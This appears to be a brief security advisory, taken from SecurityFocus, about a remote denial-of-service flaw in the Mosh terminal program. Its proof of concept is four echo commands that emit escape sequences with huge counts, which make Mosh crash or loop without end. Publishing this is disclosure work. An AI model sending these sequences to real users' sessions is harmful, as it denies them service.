source: https://www.securityfocus.com/bid/53646/info

Mosh is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the affected application to crash or to enter an endless loop, denying service to legitimate users. 

echo -en "\e[2147483647L"
echo -en "\e[2147483647M"
echo -en "\e[2147483647@"
echo -en "\e[2147483647P"